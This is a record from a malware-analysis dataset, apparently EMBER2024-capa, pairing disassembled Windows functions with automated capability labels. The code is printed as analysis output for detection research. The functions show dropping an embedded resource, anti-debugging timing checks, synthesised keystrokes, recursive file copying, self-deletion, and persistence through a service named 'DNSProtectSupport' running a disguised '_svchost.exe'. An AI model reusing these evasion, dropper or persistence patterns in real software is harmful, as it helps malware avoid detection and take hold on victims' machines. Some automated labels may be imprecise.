joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49db41
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
xor ecx, ecx
push ebp
push 0x49dc54
push dword fs:[ecx]
mov dword fs:[ecx], esp
mov byte [ebp - 1], 0
push eax
push edx
mov eax, dword [0x4a6664]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
test ebx, ebx
je 0x49dc4a
push ebx
mov eax, dword [0x4a6664]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
test esi, esi
je 0x49dc4a
push ebx
mov eax, dword [0x4a6664]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
dec edi
je 0x49dba8
dec edi
je 0x49dc25
jmp 0x49dc4a
push 0
push 0x20
push 2
push 0
push 3
push 0xc0000000
mov eax, dword [ebp + 8]
mov eax, dword [eax]
call fcn.004053d9
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x49dc4a
xor eax, eax
push ebp
push 0x49dc1e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
lea eax, [ebp - 8]
push eax
push ebx
push esi
call sub.kernel32.dll_LockResource
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_WriteFile_1
test eax, eax
je 0x49dbfe
cmp ebx, dword [ebp - 8]
je 0x49dc02
xor eax, eax
jmp 0x49dc04
mov al, 1
mov byte [ebp - 1], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49dc4a
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
mov eax, dword [ebp + 8]
mov edx, ebx
call fcn.00405565
mov eax, dword [ebp + 8]
call fcn.00405431
push eax
push esi
call sub.kernel32.dll_LockResource
mov ecx, ebx
pop edx
call fcn.00402f8d
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49dc5e
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x49dc6d
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov byte [ebp - 1], dl
mov edi, eax
mov esi, 3
mov ebx, 0x4a54bc
mov al, byte [ebx]
cmp al, 7
ja 0x49dc90
and eax, 0x7f
bt dword [ebp - 1], eax
jae 0x49dcad
push 0
push 0
push 0
xor eax, eax
mov al, byte [ebx + 1]
push eax
call sub.user32.dll_MapVirtualKeyA
push eax
mov al, byte [ebx + 1]
push eax
call sub.user32.dll_keybd_event
add ebx, 2
dec esi
jne 0x49dc83
xor esi, esi
push 0
push esi
push 0
movzx eax, di
push eax
call sub.user32.dll_MapVirtualKeyA
push eax
mov ebx, edi
push ebx
call sub.user32.dll_keybd_event
or esi, 2
push 0
push esi
push 0
movzx eax, di
push eax
call sub.user32.dll_MapVirtualKeyA
push eax
push ebx
call sub.user32.dll_keybd_event
mov esi, 0xfffffffd
mov edi, 0x4a54c0
mov al, byte [edi]
cmp al, 7
ja 0x49dcfb
and eax, 0x7f
bt dword [ebp - 1], eax
jae 0x49dd17
push 0
push 2
push 0
mov bl, byte [edi + 1]
xor eax, eax
mov al, bl
push eax
call sub.user32.dll_MapVirtualKeyA
push eax
push ebx
call sub.user32.dll_keybd_event
sub edi, 2
inc esi
jne 0x49dcee
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x49df8d
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
mov esi, eax
call sub.kernel32.dll_GetTickCount_1
mov ebx, eax
jmp 0x49dfa6
mov eax, dword [0x4a5978]
mov eax, dword [eax]
call fcn.00457691
call sub.kernel32.dll_GetTickCount_1
sub eax, ebx
cmp esi, eax
ja 0x49df9a
pop esi
pop ebx
ret

Function at 0x4a0199
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.kernel32.dll_GetPriorityClass
mov ebx, eax
call sub.kernel32.dll_GetCurrentThread
push eax
call sub.kernel32.dll_GetThreadPriority
mov esi, eax
push pe_nt_image_headers32
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.kernel32.dll_SetPriorityClass
push 0xf
call sub.kernel32.dll_GetCurrentThread
push eax
call sub.kernel32.dll_SetThreadPriority
push 0xa
call sub.kernel32.dll_Sleep
rdtsc
mov dword [ebp - 4], eax
mov dword [ebp - 8], edx
push 0x1f4
call sub.kernel32.dll_Sleep
rdtsc
sub eax, dword [ebp - 4]
sbb edx, dword [ebp - 8]
mov dword [ebp - 4], eax
mov dword [ebp - 8], edx
push esi
call sub.kernel32.dll_GetCurrentThread
push eax
call sub.kernel32.dll_SetThreadPriority
push ebx
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.kernel32.dll_SetPriorityClass
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x14], eax
fild qword [ebp - 0x18]
fdiv dword [0x4a0239]
fstp qword [ebp - 0x10]
wait
fld qword [ebp - 0x10]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4a023d
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
xor edx, edx
mov dword [ebp - 0x24], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4a02a0
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x20], 0x20
lea eax, [ebp - 0x20]
push eax
call sub.kernel32.dll_GlobalMemoryStatus
mov eax, dword [ebp - 0x18]
shr eax, 0xa
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x24]
call fcn.00409619
mov edx, dword [ebp - 0x24]
mov eax, ebx
mov ecx, 0x4a02b5
call fcn.00405225
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a02a7
lea eax, [ebp - 0x24]
call fcn.00404f19
ret

Function at 0x4a02b9
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
xor edx, edx
mov dword [ebp - 0x104], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4a0351
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xff
lea eax, [ebp - 0x100]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
mov eax, ebx
lea edx, [ebp - 0x100]
mov ecx, pe_nt_image_headers32
call fcn.00405189
lea eax, [ebp - 0x104]
push eax
mov eax, dword [ebx]
call fcn.004051d9
mov edx, eax
mov eax, dword [ebx]
mov ecx, 1
call fcn.00405439
mov eax, dword [ebp - 0x104]
mov edx, 0x4a0365
call fcn.00405325
je 0x4a0338
mov eax, ebx
mov edx, 0x4a0365
call fcn.004051e1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a0358
lea eax, [ebp - 0x104]
call fcn.00404f19
ret
Function at 0x4a0eb1
Capabilities:
Copy file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd98
push ebx
xor ecx, ecx
mov dword [ebp - 0x268], ecx
mov dword [ebp - 0x264], ecx
mov dword [ebp - 0x25c], ecx
mov dword [ebp - 0x260], ecx
mov dword [ebp - 0x258], ecx
mov dword [ebp - 0x254], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004053c9
mov eax, dword [ebp - 8]
call fcn.004053c9
xor eax, eax
push ebp
push 0x4a1110
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x254]
call fcn.00409fc5
mov edx, dword [ebp - 0x254]
lea eax, [ebp - 0x110]
mov ecx, 0xff
call fcn.004051b5
mov eax, dword [ebp - 4]
call fcn.00402e85
call fcn.00402e49
lea eax, [ebp - 0x250]
push eax
push 0x4a1121
call sub.kernel32.dll_FindFirstFileA_1
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4a109d
mov eax, dword [ebp - 8]
call fcn.00409a99
test al, al
jne 0x4a0f69
mov eax, dword [ebp - 8]
call fcn.00409abd
lea eax, [ebp - 0x10]
lea edx, [ebp - 0x224]
mov ecx, 0x104
call fcn.00405189
mov eax, dword [ebp - 0x10]
mov edx, 0x4a112d
call fcn.00405325
je 0x4a1080
mov eax, dword [ebp - 0x10]
mov edx, 0x4a1139
call fcn.00405325
je 0x4a1080
cmp dword [ebp - 0x250], 0x10
jne 0x4a104f
push dword [ebp - 8]
push 0x4a1145
push dword [ebp - 0x10]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00405299
mov eax, dword [ebp - 0xc]
call fcn.00409a99
test al, al
jne 0x4a0fdb
mov eax, dword [ebp - 0xc]
call fcn.00409abd
mov eax, dword [ebp - 4]
call fcn.004051d9
mov edx, dword [ebp - 4]
cmp byte [edx + eax - 1], 0x5c
je 0x4a1018
push dword [ebp - 4]
push 0x4a1145
push dword [ebp - 0x10]
lea eax, [ebp - 0x258]
mov edx, 3
call fcn.00405299
mov eax, dword [ebp - 0x258]
mov edx, dword [ebp - 0xc]
call fcn.004a0eb1
jmp 0x4a1080
lea eax, [ebp - 0x25c]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.00405225
mov eax, dword [ebp - 0x25c]
push eax
lea eax, [ebp - 0x260]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 4]
call fcn.00405225
mov eax, dword [ebp - 0x260]
pop edx
call fcn.004a0eb1
jmp 0x4a1080
push dword [ebp - 8]
push 0x4a1145
push dword [ebp - 0x10]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00405299
push 0xffffffffffffffff
mov eax, dword [ebp - 0xc]
call fcn.004053d9
push eax
mov eax, dword [ebp - 0x10]
call fcn.004053d9
push eax
call sub.kernel32.dll_CopyFileA
lea eax, [ebp - 0x250]
push eax
push ebx
call sub.kernel32.dll_FindNextFileA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x4a0f69
jmp 0x4a10c2
lea eax, [ebp - 0x264]
lea edx, [ebp - 0x110]
call fcn.0040517d
mov eax, dword [ebp - 0x264]
call fcn.00402e85
call fcn.00402e49
xor ebx, ebx
jmp 0x4a10e5
lea eax, [ebp - 0x268]
lea edx, [ebp - 0x110]
call fcn.0040517d
mov eax, dword [ebp - 0x268]
call fcn.00402e85
call fcn.00402e49
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a1117
lea eax, [ebp - 0x268]
mov edx, 6
call fcn.00404f3d
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00404f3d
ret
Function at 0x4a19f1
Capabilities:
Create process on windows
Create process suspended
Self delete

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdc4
xor eax, eax
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x23c], eax
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x234], eax
mov dword [ebp - 0x22c], eax
mov dword [ebp - 0x228], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4a1c1f
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, 0x4a1c2d
mov edx, 0x4a1c39
mov eax, 0x80000001
call fcn.00458f69
lea edx, [ebp - 0x228]
xor eax, eax
call fcn.00403119
mov eax, dword [ebp - 0x228]
xor edx, edx
call fcn.00409bb9
lea eax, [ebp - 0x22c]
call fcn.004a02b9
mov edx, dword [ebp - 0x22c]
lea eax, [ebp - 4]
mov ecx, 0x4a1c81
call fcn.00405225
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1d0]
call fcn.004034cd
lea eax, [ebp - 0x1d0]
call fcn.00403269
call fcn.00402e49
mov edx, 0x4a1c99
lea eax, [ebp - 0x1d0]
call fcn.004055f5
call fcn.00403be9
call fcn.00402e49
push 0x4a1ca9
lea edx, [ebp - 0x234]
xor eax, eax
call fcn.00403119
push dword [ebp - 0x234]
push 0x4a1cb9
lea eax, [ebp - 0x230]
mov edx, 3
call fcn.00405299
mov edx, dword [ebp - 0x230]
lea eax, [ebp - 0x1d0]
call fcn.004055f5
call fcn.00403be9
call fcn.00402e49
push 0x4a1cc5
lea edx, [ebp - 0x23c]
xor eax, eax
call fcn.00403119
push dword [ebp - 0x23c]
push 0x4a1cb9
push 0x4a1cd9
lea eax, [ebp - 0x238]
mov edx, 4
call fcn.00405299
mov edx, dword [ebp - 0x238]
lea eax, [ebp - 0x1d0]
call fcn.004055f5
call fcn.00403be9
call fcn.00402e49
mov edx, 0x4a1ced
lea eax, [ebp - 0x1d0]
call fcn.004055f5
call fcn.00403be9
call fcn.00402e49
mov edx, 0x4a1cfd
lea eax, [ebp - 0x1d0]
call fcn.004055f5
call fcn.00403be9
call fcn.00402e49
lea eax, [ebp - 0x1d0]
call fcn.00403671
call fcn.00402e49
lea eax, [ebp - 0x224]
xor ecx, ecx
mov edx, 0x44
call fcn.00403861
mov dword [ebp - 0x1f8], 1
mov word [ebp - 0x1f4], 0
lea eax, [ebp - 0x1e0]
push eax
lea eax, [ebp - 0x224]
push eax
push 0
push 0
push 0x40
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004053d9
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x4a1bf9
mov eax, dword [ebp - 0x1dc]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0x1e0]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a1c26
lea eax, [ebp - 0x23c]
mov edx, 6
call fcn.00404f3d
lea eax, [ebp - 4]
call fcn.00404f19
ret
Function at 0x401140
Capabilities:
Delete file
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ecx
push esi
push 0x410bdc
push 0x67
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
jne 0x40115c
xor al, al
pop esi
pop ecx
ret
push ebp
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebp, eax
test ebp, ebp
jne 0x401172
pop ebp
xor al, al
pop esi
pop ecx
ret
push ebx
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4011ac
pop ebx
pop ebp
xor al, al
pop esi
pop ecx
ret
push 0
lea eax, [esp + 0x10]
push eax
push ebx
push ebp
push esi
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
pop ebp
mov al, 1
pop esi
pop ecx
ret
Function at 0x4011e0
Capabilities:
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x40e81b
mov eax, dword fs:[0]
push eax
mov eax, 0xd468
call fcn.0040d000
mov eax, dword [0x413060]
xor eax, esp
mov dword [esp + 0xd464], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x413060]
xor eax, esp
push eax
lea eax, [esp + 0xd47c]
mov dword fs:[0], eax
mov ebp, dword [esp + 0xd48c]
xor esi, esi
mov eax, ebp
mov dword [esp + 0x2c], 0xf
mov dword [esp + 0x28], esi
mov byte [esp + 0x18], 0
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401240
sub eax, edx
push eax
push ebp
lea ecx, [esp + 0x1c]
call fcn.004022a0
lea eax, [esp + 0x14]
mov dword [esp + 0xd484], esi
push eax
mov edi, str..bak
lea esi, [esp + 0x34]
call fcn.00401a70
mov ebx, 0x10
add esp, 4
cmp dword [esp + 0x2c], ebx
jb 0x401289
mov ecx, dword [esp + 0x18]
push ecx
call fcn.004024a4
add esp, 4
mov eax, dword [esp + 0x34]
cmp dword [esp + 0x48], ebx
jae 0x401297
lea eax, [esp + 0x34]
push eax
push ebp
push str.pszTgtFile__s___nstrTgtBak__s___n
call fcn.004026bf
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0xc
push ebp
call esi
mov eax, dword [esp + 0x34]
cmp dword [esp + 0x48], ebx
jae 0x4012bd
lea eax, [esp + 0x34]
push eax
call esi
mov edi, dword [esp + 0x34]
cmp dword [esp + 0x48], ebx
jae 0x4012ce
lea edi, [esp + 0x34]
call fcn.00401140
mov eax, dword [esp + 0x34]
mov dword [esp + 0x4c], vtable.CLZSS.0
cmp dword [esp + 0x48], ebx
jae 0x4012e9
lea eax, [esp + 0x34]
push 0x410bcc
push eax
call fcn.00402848
mov edi, eax
add esp, 8
test edi, edi
je 0x40132c
push 0x410bd0
push ebp
call fcn.00402848
mov esi, eax
add esp, 8
test esi, esi
je 0x40132c
push esi
push edi
lea edx, [esp + 0x54]
push edx
call fcn.00401020
push edi
call fcn.004028d6
push esi
call fcn.004028d6
add esp, 8
mov eax, dword [esp + 0x34]
cmp dword [esp + 0x48], ebx
jae 0x40133a
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [esp + 0x48], ebx
jb 0x401354
mov eax, dword [esp + 0x34]
push eax
call fcn.004024a4
add esp, 4
mov al, 1
mov ecx, dword [esp + 0xd47c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0xd464]
xor ecx, esp
call fcn.00402495
add esp, 0xd474
ret
Function at 0x401380
Capabilities:
Create service
Persist via windows service

Disassembly:
push esi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
jne 0x4013ae
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CreateService_OpenSCManager_Failed__d_n
call fcn.004026bf
add esp, 8
xor eax, eax
pop esi
ret
mov eax, dword [esp + 8]
push 0
push 0
push 0x410c2f
push 0
push 0
push eax
push 1
push 2
push 0x10
push 0xf01ff
push 0
push str.DNSProtectSupport
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
jne 0x4013fc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CreateService_CreateService_Failed__d_n
call fcn.004026bf
add esp, 8
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
pop esi
ret
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push eax
call edi
push esi
call edi
pop edi
mov eax, 1
pop esi
ret

Function at 0x401420
Capabilities:
Delete service

Disassembly:
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x40144e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.DeleteService_OpenSCManager_Failed__d_n
call fcn.004026bf
add esp, 8
xor eax, eax
pop edi
ret
push esi
push 0xf01ff
push str.DNSProtectSupport
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x401486
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.DeleteService_OpenService_Failed__d_n
call fcn.004026bf
add esp, 8
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
xor eax, eax
pop edi
ret
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ebx, eax
call esi
push edi
call esi
mov eax, ebx
pop ebx
pop esi
pop edi
ret

Function at 0x4014b0
Capabilities:
Start service

Disassembly:
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x4014de
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.StartService_OpenSCManager_Failed__d_n
call fcn.004026bf
add esp, 8
xor eax, eax
pop edi
ret
push esi
push 0xf01ff
push str.DNSProtectSupport
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x401516
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.StartService_OpenService_Failed__d_n
call fcn.004026bf
add esp, 8
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
xor eax, eax
pop edi
ret
push ebx
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ebx, eax
call esi
push edi
call esi
mov eax, ebx
pop ebx
pop esi
pop edi
ret
Function at 0x401540
Capabilities:
Stop service

Disassembly:
sub esp, 0x1c
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x401574
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.StopService_OpenSCManager_Failed__d_n
call fcn.004026bf
add esp, 8
xor eax, eax
pop edi
add esp, 0x1c
ret
push esi
push 0xf01ff
push str.DNSProtectSupport
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x4015af
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.StopService_OpenService_Failed__d_n
call fcn.004026bf
add esp, 8
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
xor eax, eax
pop edi
add esp, 0x1c
ret
push ebx
lea eax, [esp + 0xc]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ebx, eax
call esi
push edi
call esi
mov eax, ebx
pop ebx
pop esi
pop edi
add esp, 0x1c
ret

Function at 0x4015e0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
push edi
mov edi, eax
lea eax, [esp + 0x18]
xor ebp, ebp
push eax
mov ebx, ecx
mov esi, edx
mov dword [esp + 0x18], ebp
call fcn.00401900
push ebx
push esi
push str._s____d_n
call fcn.004026bf
add esp, 0xc
push ebp
push ebp
push 3
push ebp
push 3
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401658
mov eax, dword [esp + 0x24]
cmp eax, ebp
je 0x401637
push eax
call fcn.004024a4
add esp, 4
mov ecx, dword [esp + 0x18]
push ecx
mov dword [esp + 0x28], ebp
mov dword [esp + 0x2c], ebp
mov dword [esp + 0x30], ebp
call fcn.004024a4
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
push ebp
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
push esi
call ebp
mov edx, dword [esp + 0x28]
sub edx, dword [esp + 0x24]
jne 0x401673
call fcn.00402ea1
mov ecx, dword [esp + 0x24]
push 0
lea eax, [esp + 0x18]
push eax
push edi
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push 0
push ebx
push esi
mov dword [esp + 0x24], 0
call ebp
mov edx, dword [esp + 0x28]
sub edx, dword [esp + 0x24]
jne 0x4016a6
call fcn.00402ea1
mov ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x24]
lea eax, [edi - 1]
push eax
push ecx
push edx
call fcn.00402c20
mov eax, dword [esp + 0x34]
add esp, 0xc
sub eax, dword [esp + 0x24]
jne 0x4016cb
call fcn.00402ea1
mov edx, dword [esp + 0x24]
xor ebx, ebx
push ebx
lea ecx, [esp + 0x18]
push ecx
push edi
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x24]
cmp eax, ebx
je 0x4016f8
push eax
call fcn.004024a4
add esp, 4
mov eax, dword [esp + 0x18]
push eax
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
call fcn.004024a4
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x401720
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40e868
mov eax, dword fs:[0]
push eax
sub esp, 0x60
mov eax, dword [0x413060]
xor eax, esp
mov dword [esp + 0x58], eax
push ebx
push esi
push edi
mov eax, dword [0x413060]
xor eax, esp
push eax
lea eax, [esp + 0x70]
mov dword fs:[0], eax
push 0x11
xor ebx, ebx
push str.C:Program_Files_
lea ecx, [esp + 0x1c]
mov dword [esp + 0x34], 0xf
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], bl
call fcn.004022a0
lea eax, [esp + 0x14]
push eax
mov edi, str.DNSProtectSupport
lea esi, [esp + 0x50]
mov dword [esp + 0x7c], ebx
call fcn.00401a70
add esp, 4
mov byte [esp + 0x78], 2
cmp dword [esp + 0x2c], 0x10
jb 0x4017ac
mov ecx, dword [esp + 0x18]
push ecx
call fcn.004024a4
add esp, 4
lea edx, [esp + 0x4c]
push edx
mov edi, str._svchost.exe
lea esi, [esp + 0x34]
mov dword [esp + 0x30], 0xf
mov dword [esp + 0x2c], ebx
mov byte [esp + 0x1c], bl
call fcn.00401a70
add esp, 4
mov byte [esp + 0x78], 3
call fcn.00401540
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
je 0x4017f9
push 0x3e8
call edi
call fcn.00401420
push 0x3e8
call edi
mov eax, dword [esp + 0x50]
mov esi, 0x10
cmp dword [esp + 0x64], esi
jae 0x40180c
lea eax, [esp + 0x50]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov eax, dword [esp + 0x34]
cmp dword [esp + 0x48], esi
jae 0x401822
lea eax, [esp + 0x34]
push eax
call fcn.004011e0
mov edx, dword [esp + 0x38]
add esp, 4
cmp dword [esp + 0x48], esi
jae 0x401839
lea edx, [esp + 0x34]
push str.emt11_10__jvpnpkte_bpl
mov eax, 0x27
mov ecx, 0x1b270
call fcn.004015e0
mov edx, dword [esp + 0x38]
add esp, 4
cmp dword [esp + 0x48], esi
jae 0x40185e
lea edx, [esp + 0x34]
push str.3_1_2
mov eax, 0xa
mov ecx, 0x1b298
call fcn.004015e0
mov eax, dword [esp + 0x38]
add esp, 4
cmp dword [esp + 0x48], esi
jae 0x401883
lea eax, [esp + 0x34]
push eax
call fcn.00401380
add esp, 4
test eax, eax
je 0x40189c
push 0x3e8
call edi
call fcn.004014b0
cmp dword [esp + 0x48], esi
jb 0x4018af
mov eax, dword [esp + 0x34]
push eax
call fcn.004024a4
add esp, 4
mov dword [esp + 0x48], 0xf
mov dword [esp + 0x44], ebx
mov byte [esp + 0x34], bl
cmp dword [esp + 0x64], esi
jb 0x4018d2
mov ecx, dword [esp + 0x50]
push ecx
call fcn.004024a4
add esp, 4
xor eax, eax
mov ecx, dword [esp + 0x70]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x58]
xor ecx, esp
call fcn.00402495
mov esp, ebp
pop ebp
ret

Function at 0x402495
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x413060]
jne 0x40249f
repz ret
jmp fcn.00403566